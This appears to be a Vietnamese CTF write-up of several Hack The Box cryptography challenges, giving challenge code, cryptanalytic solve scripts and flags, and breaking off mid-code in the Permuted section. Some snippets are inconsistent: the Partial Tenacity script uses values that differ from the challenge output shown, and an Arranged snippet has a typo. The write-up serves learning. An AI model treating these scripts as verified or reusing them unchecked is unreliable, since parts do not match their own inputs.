owned this note
owned this note
Published
Linked with GitHub
![Rank](https://hackmd.io/_uploads/B1aSu_l0a.png)
- Sau mấy ngày đấm HTB thì mình được bú win các anh khá lỏ. Dưới đây sẽ là toàn bộ writeups của mình, 10 challs Crypto và 3 challs Blockchain lỏ :monkey:
---
# I. Crypto
## 1. Makeshift
### Description
- Challenge code:
```python=
from secret import FLAG
flag = FLAG[::-1]
new_flag = ''
for i in range(0, len(flag), 3):
new_flag += flag[i+1]
new_flag += flag[i+2]
new_flag += flag[i]
print(new_flag)
```
- Challenge output:
```python=
!?}De!e3d_5n_nipaOw_3eTR3bt4{_THB
```
### Solution
- Đây là một chall khá dễ và hầu như mình không cần suy nghĩ nhiều, chỉ cần phân tích `source` và viết công thức ra là được. Có được:
```python=
msg = flag[1] + flag[2] + flag[0] + flag[4] + flag[5] + flag[3] + ...
```
- Các vị trí sẽ so le nhau và chỉ cần sắp xếp lại là ta có được flag:
```python=
msg = "!?}De!e3d_5n_nipaOw_3eTR3bt4{_THB"
flag = ''
for i in range(0, len(msg), 3):
flag += msg[i+2]
flag += msg[i]
flag += msg[i+1]
print(flag[::-1])
```
### Flag
> ~~`HTB{4_b3tTeR_w3apOn_i5_n3edeD!?!}`~~
---
## 2. Dynastic
### Description
- Challenge code:
```python=
from secret import FLAG
from random import randint
def to_identity_map(a):
return ord(a) - 0x41
def from_identity_map(a):
return chr(a % 26 + 0x41)
def encrypt(m):
c = ''
for i in range(len(m)):
ch = m[i]
if not ch.isalpha():
ech = ch
else:
chi = to_identity_map(ch)
ech = from_identity_map(chi + i)
c += ech
return c
with open('output.txt', 'w') as f:
f.write('Make sure you wrap the decrypted text with the HTB flag format :-]\n')
f.write(encrypt(FLAG))
```
- Challenge output:
```python=
Make sure you wrap the decrypted text with the HTB flag format :-]
DJF_CTA_SWYH_NPDKK_MBZ_QPHTIGPMZY_KRZSQE?!_ZL_CN_PGLIMCU_YU_KJODME_RYGZXL
```
### Solution
- Về cơ bản thì chall này không khó, nhưng code thuật toán làm phức tạp hóa lên thui. Đại loại là mã hóa từ đầu đến cuối flag, kí tự đó không trong bảng chữ cái thì in luôn ra, còn không thì map nó thành một kí tự khác, không khác gì substitution cipher.
- Để giải cũng chẳng cần suy nghĩ, chỉ cần thay đổi `chi + i` trong hàm `encrypt()` thành `chi - i` là có được ngay hàm `decrypt()`, vậy ta có code:
```python=
def to_identity_map(a):
return ord(a) - 0x41
def from_identity_map(a):
return chr(a % 26 + 0x41)
def decrypt(ciphertext):
m = ''
for i in range(len(ciphertext)):
ch = ciphertext[i]
if not ch.isalpha():
m += ch
else:
chi = to_identity_map(ch)
m += from_identity_map(chi - i)
return m
encrypted_flag = 'DJF_CTA_SWYH_NPDKK_MBZ_QPHTIGPMZY_KRZSQE?!_ZL_CN_PGLIMCU_YU_KJODME_RYGZXL'
flag = 'HTB{?}'
print(flag.replace('?', decrypt(encrypted_flag)))
```
### Flag
> ~~`HTB{DID_YOU_KNOW_ABOUT_THE_TRITHEMIUS_CIPHER?!_IT_IS_SIMILAR_TO_CAESAR_CIPHER}`~~
---
## 3. Primary Knowledge
### Description
- Challenge code:
```python=
import math
from Crypto.Util.number import getPrime, bytes_to_long
from secret import FLAG
m = bytes_to_long(FLAG)
n = math.prod([getPrime(1024) for _ in range(2**0)])
e = 0x10001
c = pow(m, e, n)
with open('output.txt', 'w') as f:
f.write(f'{n = }\n')
f.write(f'{e = }\n')
f.write(f'{c = }\n')
```
- Challenge output:
```python=
n = 144595784022187052238125262458232959109987136704231245881870735843030914418780422519197073054193003090872912033596512666042758783502695953159051463566278382720140120749528617388336646147072604310690631290350467553484062369903150007357049541933018919332888376075574412714397536728967816658337874664379646535347
e = 65537
c = 15114190905253542247495696649766224943647565245575793033722173362381895081574269185793855569028304967185492350704248662115269163914175084627211079781200695659317523835901228170250632843476020488370822347715086086989906717932813405479321939826364601353394090531331666739056025477042690259429336665430591623215
```
### Solution
- Trước tiên đọc source mình biết được `n` là một số nguyên tố lỏ 1024 bits, tới đây thì mình vác đi giải luôn. Đơn giản vì khi `n` là số nguyên tố, phi hàm Euler `fn` của `n` sẽ chính bằng `n-1`, lí do tại sao thì hướng dẫn sử dụng phi hàm Euler đã có (dùng để đếm số các số co-prime với một số cho trước).
- Tới code luôn thôi vì ai cũng biết tính `d` bằng cách nào:
```python=
from Crypto.Util.number import *
n = 144595784022187052238125262458232959109987136704231245881870735843030914418780422519197073054193003090872912033596512666042758783502695953159051463566278382720140120749528617388336646147072604310690631290350467553484062369903150007357049541933018919332888376075574412714397536728967816658337874664379646535347
e = 65537
c = 15114190905253542247495696649766224943647565245575793033722173362381895081574269185793855569028304967185492350704248662115269163914175084627211079781200695659317523835901228170250632843476020488370822347715086086989906717932813405479321939826364601353394090531331666739056025477042690259429336665430591623215
d = inverse(e, n-1)
flag = long_to_bytes(pow(c, d, n)).decode()
print(flag)
```
### Flag
> ~~`HTB{0h_d4mn_4ny7h1ng_r41s3d_t0_0_1s_1!!!}`~~
---
## 4. Blunt
### Description
- Challenge code:
```python=
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Util.number import getPrime, long_to_bytes
from hashlib import sha256
from secret import FLAG
import random
p = getPrime(32)
print(f'p = 0x{p:x}')
g = random.randint(1, p-1)
print(f'g = 0x{g:x}')
a = random.randint(1, p-1)
b = random.randint(1, p-1)
A, B = pow(g, a, p), pow(g, b, p)
print(f'A = 0x{A:x}')
print(f'B = 0x{B:x}')
C = pow(A, b, p)
assert C == pow(B, a, p)
# now use it as shared secret
hash = sha256()
hash.update(long_to_bytes(C))
key = hash.digest()[:16]
iv = b'\xc1V2\xe7\xed\xc7@8\xf9\\\xef\x80\xd7\x80L*'
cipher = AES.new(key, AES.MODE_CBC, iv)
encrypted = cipher.encrypt(pad(FLAG, 16))
print(f'ciphertext = {encrypted}')
```
- Challenge output:
```python=
p = 0xdd6cc28d
g = 0x83e21c05
A = 0xcfabb6dd
B = 0xc4a21ba9
ciphertext = b'\x94\x99\x01\xd1\xad\x95\xe0\x13\xb3\xacZj{\x97|z\x1a(&\xe8\x01\xe4Y\x08\xc4\xbeN\xcd\xb2*\xe6{'
```
### Solution
- Tới bài này thì mức độ đã được nâng lên một chút (từ very easy thành easy :penguin:), về cơ bản đây là một giao thức mà ai học Crypto cũng biết: DH. Do bài cho các `params` cực bé nên mình có thể phang thẳng `dlog` vào bài mà không cần lo nghĩ gì cả. Cụ thể code như sau:
```python=
from sympy import discrete_log
from hashlib import sha256
from Crypto.Util.number import long_to_bytes
from Crypto.Util.Padding import unpad
from Crypto.Cipher import AES
'''
A = g^a (mod p)
B = g^b (mod p)
C = g^a^b (mod p) = A^b (mod p)
'''
p = 0xdd6cc28d
g = 0x83e21c05
A = 0xcfabb6dd
B = 0xc4a21ba9
ciphertext = b'\x94\x99\x01\xd1\xad\x95\xe0\x13\xb3\xacZj{\x97|z\x1a(&\xe8\x01\xe4Y\x08\xc4\xbeN\xcd\xb2*\xe6{'
iv = b'\xc1V2\xe7\xed\xc7@8\xf9\\\xef\x80\xd7\x80L*'
a = discrete_log(p, A, g)
b = discrete_log(p, B, g)
assert pow(A, b, p) == pow(B, a, p)
C = pow(A, b, p)
hash = sha256()
hash.update(long_to_bytes(C))
key = hash.digest()[:16]
cipher = AES.new(key, AES.MODE_CBC, iv)
flag = unpad(cipher.decrypt(ciphertext), 16)
print(flag.decode())
```
### Flag
> ~~`HTB{y0u_n3ed_a_b1gGeR_w3ap0n!!}`~~
---
## 5. Iced TEA
### Description
- Challenge code:
```python=
import os
from secret import FLAG
from Crypto.Util.Padding import pad
from Crypto.Util.number import bytes_to_long as b2l, long_to_bytes as l2b
from enum import Enum
class Mode(Enum):
ECB = 0x01
CBC = 0x02
class Cipher:
def __init__(self, key, iv=None):
self.BLOCK_SIZE = 64
self.KEY = [b2l(key[i:i+self.BLOCK_SIZE//16]) for i in range(0, len(key), self.BLOCK_SIZE//16)]
self.DELTA = 0x9e3779b9
self.IV = iv
if self.IV:
self.mode = Mode.CBC
else:
self.mode = Mode.ECB
def _xor(self, a, b):
return b''.join(bytes([_a ^ _b]) for _a, _b in zip(a, b))
def encrypt(self, msg):
msg = pad(msg, self.BLOCK_SIZE//8)
blocks = [msg[i:i+self.BLOCK_SIZE//8] for i in range(0, len(msg), self.BLOCK_SIZE//8)]
ct = b''
if self.mode == Mode.ECB:
for pt in blocks:
ct += self.encrypt_block(pt)
elif self.mode == Mode.CBC:
X = self.IV
for pt in blocks:
enc_block = self.encrypt_block(self._xor(X, pt))
ct += enc_block
X = enc_block
return ct
def encrypt_block(self, msg):
m0 = b2l(msg[:4])
m1 = b2l(msg[4:])
K = self.KEY
msk = (1 << (self.BLOCK_SIZE//2)) - 1
s = 0
for i in range(32):
s += self.DELTA
m0 += ((m1 << 4) + K[0]) ^ (m1 + s) ^ ((m1 >> 5) + K[1])
m0 &= msk
m1 += ((m0 << 4) + K[2]) ^ (m0 + s) ^ ((m0 >> 5) + K[3])
m1 &= msk
m = ((m0 << (self.BLOCK_SIZE//2)) + m1) & ((1 << self.BLOCK_SIZE) - 1) # m = m0 || m1
return l2b(m)
if __name__ == '__main__':
KEY = os.urandom(16)
cipher = Cipher(KEY)
ct = cipher.encrypt(FLAG)
with open('output.txt', 'w') as f:
f.write(f'Key : {KEY.hex()}\nCiphertext : {ct.hex()}')
```
- Challenge output:
```python=
Key : 850c1413787c389e0b34437a6828a1b2
Ciphertext : b36c62d96d9daaa90634242e1e6c76556d020de35f7a3b248ed71351cc3f3da97d4d8fd0ebc5c06a655eb57f2b250dcb2b39c8b2000297f635ce4a44110ec66596c50624d6ab582b2fd92228a21ad9eece4729e589aba644393f57736a0b870308ff00d778214f238056b8cf5721a843
```
### Solution
- Trước hết đọc source thì mình biết đây là một loại mã hóa khối tự chế. Nhược điểm của thuật toán trong source có thể thấy rõ do khuyết đi tính `confusion` and `diffusion` trong mã hóa đối xứng. Chính vì vậy mình có thể tự gen một hàm `decrypt()` sử dụng để giải mã.
- Nhờ chatGPT gen code và lắp ghép vào là mình đã có code solution :ok_hand::
```python=
from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l
from Crypto.Util.Padding import unpad
from enum import Enum
class Mode(Enum):
ECB = 0x01
CBC = 0x02
class Cipher:
def __init__(self, key, iv=None):
self.BLOCK_SIZE = 64
self.KEY = [b2l(key[i:i+self.BLOCK_SIZE//16]) for i in range(0, len(key), self.BLOCK_SIZE//16)]
self.DELTA = 0x9e3779b9
self.IV = iv
if self.IV:
self.mode = Mode.CBC
else:
self.mode = Mode.ECB
def _xor(self, a, b):
return b''.join(bytes([_a ^ _b]) for _a, _b in zip(a, b))
def decrypt(self, ciphertext):
blocks = [ciphertext[i:i+self.BLOCK_SIZE//8] for i in range(0, len(ciphertext), self.BLOCK_SIZE//8)]
pt = b''
if self.mode == Mode.ECB:
for ct_block in blocks:
pt += self.decrypt_block(ct_block)
elif self.mode == Mode.CBC:
X = self.IV
for ct_block in blocks:
dec_block = self.decrypt_block(ct_block)
pt += self._xor(X, dec_block)
X = ct_block
return pt
def decrypt_block(self, ciphertext):
c = b2l(ciphertext)
K = self.KEY
msk = (1 << (self.BLOCK_SIZE//2)) - 1
m0 = c >> (self.BLOCK_SIZE//2)
m1 = c & ((1 << (self.BLOCK_SIZE//2)) - 1)
s = self.DELTA * 32
for i in range(32):
m1 -= ((m0 << 4) + K[2]) ^ (m0 + s) ^ ((m0 >> 5) + K[3])
m1 &= msk
m0 -= ((m1 << 4) + K[0]) ^ (m1 + s) ^ ((m1 >> 5) + K[1])
m0 &= msk
s -= self.DELTA
m = (m0 << (self.BLOCK_SIZE//2)) | m1
return l2b(m)
key = '850c1413787c389e0b34437a6828a1b2'
ct = 'b36c62d96d9daaa90634242e1e6c76556d020de35f7a3b248ed71351cc3f3da97d4d8fd0ebc5c06a655eb57f2b250dcb2b39c8b2000297f635ce4a44110ec66596c50624d6ab582b2fd92228a21ad9eece4729e589aba644393f57736a0b870308ff00d778214f238056b8cf5721a843'
key, ct = bytes.fromhex(key), bytes.fromhex(ct)
cipher = Cipher(key)
flag = unpad(cipher.decrypt(ct), 16).decode()
print(flag)
```
### Flag
> ~~`HTB{th1s_1s_th3_t1ny_3ncryp710n_4lg0r1thm_____y0u_m1ght_h4v3_4lr34dy_s7umbl3d_up0n_1t_1f_y0u_d0_r3v3rs1ng}`~~
### Note
- Ban đầu mình cũng định giải mã bằng cách tự phân tích thuật toán và viết hàm nhưng do quá lười nên mình skip :penguin:
---
## 6. Arranged
### Description
- Challenge code:
```python=
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Util.number import long_to_bytes
from hashlib import sha256
from secret import FLAG, p, b, priv_a, priv_b
F = GF(p)
E = EllipticCurve(F, [726, b])
G = E(926644437000604217447316655857202297402572559368538978912888106419470011487878351667380679323664062362524967242819810112524880301882054682462685841995367, 4856802955780604241403155772782614224057462426619061437325274365157616489963087648882578621484232159439344263863246191729458550632500259702851115715803253)
A = G * priv_a
B = G * priv_b
print(A)
print(B)
C = priv_a * B
assert C == priv_b * A
# now use it as shared secret
secret = C[0]
hash = sha256()
hash.update(long_to_bytes(secret))
key = hash.digest()[16:32]
iv = b'u\x8fo\x9aK\xc5\x17\xa7>[\x18\xa3\xc5\x11\x9en'
cipher = AES.new(key, AES.MODE_CBC, iv)
encrypted = cipher.encrypt(pad(FLAG, 16))
print(encrypted)
````
- Challenge output:
```python=
(6174416269259286934151093673164493189253884617479643341333149124572806980379124586263533252636111274525178176274923169261099721987218035121599399265706997 : 2456156841357590320251214761807569562271603953403894230401577941817844043774935363309919542532110972731996540328492565967313383895865130190496346350907696 : 1)
(4226762176873291628054959228555764767094892520498623417484902164747532571129516149589498324130156426781285021938363575037142149243496535991590582169062734 : 425803237362195796450773819823046131597391930883675502922975433050925120921590881749610863732987162129269250945941632435026800264517318677407220354869865 : 1)
b'V\x1b\xc6&\x04Z\xb0c\xec\x1a\tn\xd9\xa6(\xc1\xe1\xc5I\xf5\x1c\xd3\xa7\xdd\xa0\x84j\x9bob\x9d"\xd8\xf7\x98?^\x9dA{\xde\x08\x8f\x84i\xbf\x1f\xab'
````
### Solution
- Well đến đây thì chall đã sang một mức độ khác là medium (nhưng cũng không quá khó). Đọc source mình biết được bài sử dụng ECC và giao thức là DH-ECC. Đề đã cung cấp `iv` và `enc`, thứ mình cần tìm lại là `key`.
- Ở đây, `key` cũng chính là `shared_secret` trong các dạng bài giao thức khóa DH quen thuộc, và vấn đề nằm ở hai khóa riêng `priv_a` và `priv_b` (chỉ cần tìm một trong hai là có thể giải được bài rồi). Tuy nhiên, bài không define cho ta một ellip cụ thể, rõ ràng mình cần tìm lại ellip này.
- Ta biết được 3 điểm `G`, `A` và `B` đều thuộc ellip xét trong trường `Fp`, cụ thể tọa độ của 3 điểm này sẽ thỏa mãn phương trình của ellip, hay:
```python=
y_G ^ 2 = x_G ^ 3 + 726*x_G + b (mod p) (1)
y_A ^ 2 = x_A ^ 3 + 726*x_A + b (mod p) (2)
y_B ^ 2 = x_B ^ 3 + 726*x_B + b (mod p) (3)
```
- Tại đây ta cần tìm lại hệ số `b` và trường của ellip. Trừ phương trình (1) cho (2) và (3) và chuyển vế, ta thu được 2 phương trình dạng `left = 0 (mod p)`, lấy `GCD` của hai cái `left` này giúp mình tìm lại `p`, đồng thời giải luôn được `b`:
```python=
ef L(P):
x, y = P[0], P[1]
return y**2 - x**3 - 726*x
G = (926644437000604217447316655857202297402572559368538978912888106419470011487878351667380679323664062362524967242819810112524880301882054682462685841995367, 4856802955780604241403155772782614224057462426619061437325274365157616489963087648882578621484232159439344263863246191729458550632500259702851115715803253)
A = (6174416269259286934151093673164493189253884617479643341333149124572806980379124586263533252636111274525178176274923169261099721987218035121599399265706997, 2456156841357590320251214761807569562271603953403894230401577941817844043774935363309919542532110972731996540328492565967313383895865130190496346350907696)
B = (4226762176873291628054959228555764767094892520498623417484902164747532571129516149589498324130156426781285021938363575037142149243496535991590582169062734, 425803237362195796450773819823046131597391930883675502922975433050925120921590881749610863732987162129269250945941632435026800264517318677407220354869865)
p = GCD(L(G) - L(A), L(G) - L(B))
b = L(G) % p
assert (G[1]**2) % p == (G[0]**3 + 726*G[0] + b) % p
assert (A[1]**2) % p == (A[0]**3 + 726*A[0] + b) % p
assert (B[1]**2) % p == (B[0]**3 + 726*B[0] + b) % p
```
- Ta đã recover lại được ellip, giờ cần tìm `priv_a` hoặc `priv_b`. Mình đã nghĩ tới ý tưởng áp dụng Smart's Attack nhưng khi check lại thì điều kiện `E.order() == p` bị sai. Đánh liều `dlog` ra thì lại làm được :penguin::
```python=
F = GF(p)
E = EllipticCurve(F, [726, b])
G, A, B = E(G), E(A), E(B)
priv_a = discrete_log(A, G, operation='+')
```
- Chạy hơi lâu chút nhưng cuối cùng sẽ ra được `priv_a = 4`, đem đi giải `key` là xong (ai ngựa ngựa có thể tìm luôn `priv_b` rồi `assert` thử xem đúng hay sai).
- Full code:
```python=
from Crypto.Util.number import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from Crypto.Util.number import long_to_bytes
from hashlib import sha256
def L(P):
x, y = P[0], P[1]
return y**2 - x**3 - 726*x
G = (926644437000604217447316655857202297402572559368538978912888106419470011487878351667380679323664062362524967242819810112524880301882054682462685841995367, 4856802955780604241403155772782614224057462426619061437325274365157616489963087648882578621484232159439344263863246191729458550632500259702851115715803253)
A = (6174416269259286934151093673164493189253884617479643341333149124572806980379124586263533252636111274525178176274923169261099721987218035121599399265706997, 2456156841357590320251214761807569562271603953403894230401577941817844043774935363309919542532110972731996540328492565967313383895865130190496346350907696)
B = (4226762176873291628054959228555764767094892520498623417484902164747532571129516149589498324130156426781285021938363575037142149243496535991590582169062734, 425803237362195796450773819823046131597391930883675502922975433050925120921590881749610863732987162129269250945941632435026800264517318677407220354869865)
p = GCD(L(G) - L(A), L(A) - L(B))
b = L(G) % p
assert (G[1]**2) % p == (G[0]**3 + 726*G[0] + b) % p
assert (A[1]**2) % p == (A[0]**3 + 726*A[0] + b) % p
assert (B[1]**2) % p == (B[0]**3 + 726*B[0] + b) % p
F = GF(p)
E = EllipticCurve(F, [726, b])
G, A, B = E(G), E(A), E(B)
# priv_a = discrete_log(A, G, operation='+')
priv_a = 4
shared_secret = (B * priv_a).xy()[0]
hash = sha256()
hash.update(long_to_bytes(int(shared_secret)))
key = hash.digest()[16:32]
ciphertext = b'V\x1b\xc6&\x04Z\xb0c\xec\x1a\tn\xd9\xa6(\xc1\xe1\xc5I\xf5\x1c\xd3\xa7\xdd\xa0\x84j\x9bob\x9d"\xd8\xf7\x98?^\x9dA{\xde\x08\x8f\x84i\xbf\x1f\xab'
iv = b'u\x8fo\x9aK\xc5\x17\xa7>[\x18\xa3\xc5\x11\x9en'
cipher = AES.new(key, AES.MODE_CBC, iv)
flag = unpad(cipher.decrypt(ciphertext), 16)
print(flag.decode())
```
### Flag
> ~~`HTB{0rD3r_mUsT_b3_prEs3RveD_!!@!}`~~
### Note
- Mình chưa thử làm cách khác nhưng cơ bản thì cách này là đủ để giải rồi nhỉ :penguin:. Nói vậy thôi nhưng cách giải chủ yếu là tính dlog, tuy nhiên một điều khá hay mà có thể nhiều người bỏ qua là `G.order() = 11`, đồng nghĩa với việc ta có thể brute force các giá trị của `a` trong đoạn `[1; 11]` và tiếp tục giải.
---
## 7. Partial Tenacity
### Description
- Challenge code:
```python=
from secret import FLAG
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
class RSACipher:
def __init__(self, bits):
self.key = RSA.generate(bits)
self.cipher = PKCS1_OAEP.new(self.key)
def encrypt(self, m):
return self.cipher.encrypt(m)
def decrypt(self, c):
return self.cipher.decrypt(c)
cipher = RSACipher(1024)
enc_flag = cipher.encrypt(FLAG)
with open('output.txt', 'w') as f:
f.write(f'n = {cipher.key.n}\n')
f.write(f'ct = {enc_flag.hex()}\n')
f.write(f'p = {str(cipher.key.p)[::2]}\n')
f.write(f'q = {str(cipher.key.q)[1::2]}')
```
- Challenge output:
```python=
n = 124489602600121701274548809815923584607837171501534880261503180856938186391623267155644651085143459140143217303598468742852882882427469507691050712387595895502373303396701424516638188457555247307277206394398562666677288285701252034906810402407918122597636299856574712902166065585733567177021600418361645177173
ct = 1f287749a7dae2256bec91f58c614d57471ad05ccadc6f6923b46798571db3c623dd14157e8b909ed1fbba3af6e0dec562b120a64f261da0f591504b03c99054eed8b698725b6707c5250cce0308a289a83a8ff89790e845f6aab43a0e9419ba843cc729aeef3ad39ce23f17ad30c3a2e7743c5007d2f684019efbadf1592aad
p = 171539328165412321875748057028552243899150327277402310685789246185479388035679
q = 12370078203860528037238299503161295765194367399450231656330777573089075282486
```
### Solution
- Bài này làm mình khá nản lúc đầu nhưng may có anh `Tuệ` support nên đã làm được. Bài thuộc một dạng RSA với `partial known bits` (nói là bits thôi nhưng thực ra các số `p` và `q` đã bị khuyết mất các chữ số).
- Mình đã biết được `p` và `q` kia chính là các số còn lại sau khi thay đổi `p`, `q` ban đầu. Cụ thể với `p` từ vị trí `[0]` đến cuối thì cách một chữ số lại xóa đi một lần, `q` thì xuất phát từ vị trí `[1]`.
- Để làm được bài này thì mình cần sử dụng một chút toán tiểu học và logic. Xét phép nhân `p * q == n`, theo như cách nhân từng học thì:
```
p[-1] * q[-1] == n[-1]
p[-2] * q[-2] == n[-2]
...
```
- Nếu kết quả vượt quá 10 thì nhớ và lấy chữ số hàng đơn vị rồi cộng phần nhớ cho hàng tiếp theo, cụ thể như sau:
```
Giả sử có:
p[-1] = 3, p[-2] = 2
q[-1] = 5, q[-2] = 3
thì :
n[-1] = 3 * 5 = 15, viết 5 nhớ 1
n[-2] = 2 * 3 = 6, nhớ 1 là 7
nhận được n[-1] = 5 và n[-2] = 7
```
- Bản chất chính là:
```
n[-1] = p[-1] * q[-1] (mod 10)
n[-2] = p[-1] * q[-1] + n[-1] // 10 (mod 10)
...
```
- Vì vậy áp dụng logic trên, ta có thể recover lại toàn bộ số `p` và `q`, code hơi khó một chút nhưng khá hay. Idea ở đây là thử từng trường hợp vào chỗ khuyết rồi nhân lại xem thỏa mãn hay không.
- Full code:
```python=
from Crypto.Util.number import *
from Crypto.Cipher import PKCS1_OAEP
from Crypto.PublicKey import RSA
from Crypto.PublicKey.RSA import RsaKey
class RSACipher:
def __init__(self, bits):
self.key = RsaKey(n=n, e=e, d=inverse(e, (p-1)*(q-1)), p=p, q=q, u=inverse(p, q))
self.cipher = PKCS1_OAEP.new(self.key)
def decrypt(self, c):
return self.cipher.decrypt(c)
e = 65537
n = 118641897764566817417551054135914458085151243893181692085585606712347004549784923154978949512746946759125187896834583143236980760760749398862405478042140850200893707709475167551056980474794729592748211827841494511437980466936302569013868048998752111754493558258605042130232239629213049847684412075111663446003
ct = '7f33a035c6390508cee1d0277f4712bf01a01a46677233f16387fae072d07bdee4f535b0bd66efa4f2475dc8515696cbc4bc2280c20c93726212695d770b0a8295e2bacbd6b59487b329cc36a5516567b948fed368bf02c50a39e6549312dc6badfef84d4e30494e9ef0a47bd97305639c875b16306fcd91146d3d126c1ea476'
c = int(ct, 16)
leak_p = '1_5_1_4_4_1_4_7_3_3_5_7_1_3_6_1_5_2_9_8_5_2_1_6_9_8_0_3_9_7_5_2_5_5_9_1_3_0_5_8_7_5_0_9_4_2_8_8_7_3_8_8_2_0_6_9_9_0_6_9_2_7_1_6_7_4_0_2_2_1_6_7_9_0_2_6_4_3'
leak_q = '_1_5_6_2_4_3_4_2_0_0_5_7_7_4_1_6_6_5_2_5_0_2_4_6_0_8_0_6_7_4_2_6_5_5_7_0_9_3_5_6_7_3_9_2_6_5_2_7_2_3_1_7_5_3_0_1_6_1_5_4_2_2_3_8_4_5_0_8_2_7_4_2_6_9_3_0_5_'
leak_p = leak_p.replace('_', '0')
leak_q = leak_q.replace('_', '0')
pq = {(int(leak_p), int(leak_q))}
TH = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
for i in range(155//2 + 1):
trials = set()
for p, q in pq:
for _p in TH:
temp_p = p + _p*pow(10, 2*i + 1)
for _q in TH:
temp_q = q + _q*pow(10, 2*i)
mod = pow(10, 2*i + 2)
if (temp_p * temp_q) % mod != n % mod:
continue
trials.add((temp_p, temp_q))
pq = trials
p = list(pq)[0][0]
q = list(pq)[0][1]
assert p*q == n
cipher = RSACipher(1024)
flag = cipher.decrypt(long_to_bytes(int(ct, 16))).decode()
print(flag)
```
### Flag
> ~~`HTB{v3r1fy1ng_pr1m3s_m0dul0_p0w3rs_0f_10!}`~~
### Note
- Code được tài trợ bởi anh `Tuệ`, shout-out :fire:
---
## 8. Permuted
### Description
- Challenge code:
```python=
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Util.number import long_to_bytes
from hashlib import sha256
from random import shuffle
from secret import a, b, FLAG
class Permutation:
def __init__(self, mapping):
self.length = len(mapping)
assert set(mapping) == set(range(self.length)) # ensure it contains all numbers from 0 to length-1, with no repetitions
self.mapping = list(mapping)
def __call__(self, *args, **kwargs):
idx, *_ = args
assert idx in range(self.length)
return self.mapping[idx]
def __mul__(self, other):
ans = []
for i in range(self.length):
ans.append(self(other(i)))
return Permutation(ans)
def __pow__(self, power, modulo=None):
ans = Permutation.identity(self.length)
ctr = self
while power > 0:
if power % 2 == 1:
ans *= ctr
ctr *= ctr
power //= 2
return ans
def __str__(self):
return str(self.mapping)
def identity(length):
return Permutation(range(length))
x = list(range(50_000))
shuffle(x)
g = Permutation(x)
print('g =', g)
A = g**a
print('A =', A)
B = g**b
print('B =', B)
C = A**b
assert C.mapping == (B**a).mapping
sec = tuple(C.mapping)
sec = hash(sec)
sec = long_to_bytes(sec)
hash = sha256()
hash.update(sec)
key = hash.digest()[16:32]
iv = b"mg'g\xce\x08\xdbYN2\x89\xad\xedlY\xb9"
cipher = AES.new(key, AES.MODE_CBC, iv)
encrypted = cipher.encrypt(pad(FLAG, 16))
print('c =', encrypted)
```
- Challenge output: [output.txt](https://github.com/Zupp30/Zupp_Learn_Crypto/blob/main/Crypto%20from%20Zupp/output.txt)
### Solution
- Với mình thì chall này khá lỏ, google đã có nhưng không thèm osint nên mất khá nhiều time để solve. Về cơ bản thì bài cũng sử dụng giao thức DH nhưng thay vì ECC hay dlog như hai chall trên thì là `Permuted`. Dạng này khá mới với mình nhưng được mọi người support nên cũng đấm được.
- Như hai bài trên, ta vẫn cần tìm lại `key`, cụ thể là tìm `priv_a` hoặc `priv_b`. Đọc source thì biết được phép toán trang bị trong nhóm `Permuted` này, bên cạnh đó, qua việc test nhiều lần thì mình nhận ra các phần tử trong nhóm `Permuted` này đều có các vòng giao hoán của nó, tạm gọi là `order`.
- `order` ở đây là số `k` nhỏ nhất sao cho `g**k = g`, cái này khá giống với `order` trong định nghĩa nhóm. Vậy tại sao mình lại phân tích yếu tố `order` này?
- Dựa vào hai paper [này](https://www-users.cse.umn.edu/~reiner/Classes/Cryptosystem_based_on_symmetric_group.pdf) và [cả này nữa](https://www.researchgate.net/publication/326514386_Cryptanalysis_of_a_Proposal_Based_on_the_Discrete_Logarithm_Problem_Inside_Sn), mình khá chắc có thể thực hiện `dlog` để tìm lại `key`. Nhưng `dlog` ở đây chỉ có approach giống `Pohlig-Hellman`, không phải hoàn toàn giống. Mình sẽ vẫn tìm lại `order` rồi `factor`, giải các phương trình nhỏ rồi dùng `CRT` để output ra kết quả cuối cùng.
- Để tìm `a` thỏa `A = g**a`, trước tiên mình sẽ thử tính `g.order()`. Hàm `order()` này có thể dùng trong sage hoặc tự viết cũng được, nhưng cuối cùng sẽ tìm được: `g.order() = 3311019189498977856900`
- Khi factor `g.order()` mình nhận được ước số khá bé, rất dễ dàng cho thuật toán `Pohlig-Hellman` trong `Sn (Symmetric Group)`. Cụ thể code để tìm lại `dlog` như sau:
```python=
from output import g, A, B
from sage.all import *
g = PermutationGroupElement(Permutation([i+1 for i in g]))
A = PermutationGroupElement(Permutation([i+1 for i in A]))
B = PermutationGroupElement(Permutation([i+1 for i in B]))
o = g.order()
a = []
b = []
for p,e in factor(o):
tg = g^(ZZ(o/p^e))
tA = A^(ZZ(o/p^e))
tB = B^(ZZ(o/p^e))
for i in range(p^e):
if tg^i==tA:
a.append([i,p^e])
for i in range(p^e):
if tg^i==tB:
b.append([i,p^e])
print(a)
print(b)
a = crt([i[0] for i in a],[i[1] for i in a])
b = crt([i[0] for i in b],[i[1] for i in b])
```
(Nhớ dùng trong sage)
- Khi tìm lại được cả `a` và `b` mình đã `assert` oke đồng nghĩa với approach mình đúng và có thể giải flag dễ dàng rồi.
- Full code:
```python=
from output import g, A, B
from hashlib import sha256
from Crypto.Util.number import *
from Crypto.Util.Padding import unpad
from Crypto.Cipher import AES
g = PermutationGroupElement(Permutation([i+1 for i in g]))
A = PermutationGroupElement(Permutation([i+1 for i in A]))
B = PermutationGroupElement(Permutation([i+1 for i in B]))
o = g.order()
a = []
b = []
for p,e in factor(o):
tg = g^(ZZ(o/p^e))
tA = A^(ZZ(o/p^e))
tB = B^(ZZ(o/p^e))
for i in range(p^e):
if tg^i==tA:
a.append([i,p^e])
for i in range(p^e):
if tg^i==tB:
b.append([i,p^e])
a = crt([i[0] for i in a],[i[1] for i in a])
b = crt([i[0] for i in b],[i[1] for i in b])
assert g^a == A
assert g^b == B
class Permutationx:
def __init__(self, mapping):
self.length = len(mapping)
assert set(mapping) == set(range(self.length)) # ensure it contains all numbers from 0 to length-1, with no repetitions
self.mapping = list(mapping)
def __call__(self, *args, **kwargs):
idx, *_ = args
assert idx in range(self.length)
return self.mapping[idx]
def __mul__(self, other):
ans = []
for i in range(self.length):
ans.append(self(other(i)))
return Permutationx(ans)
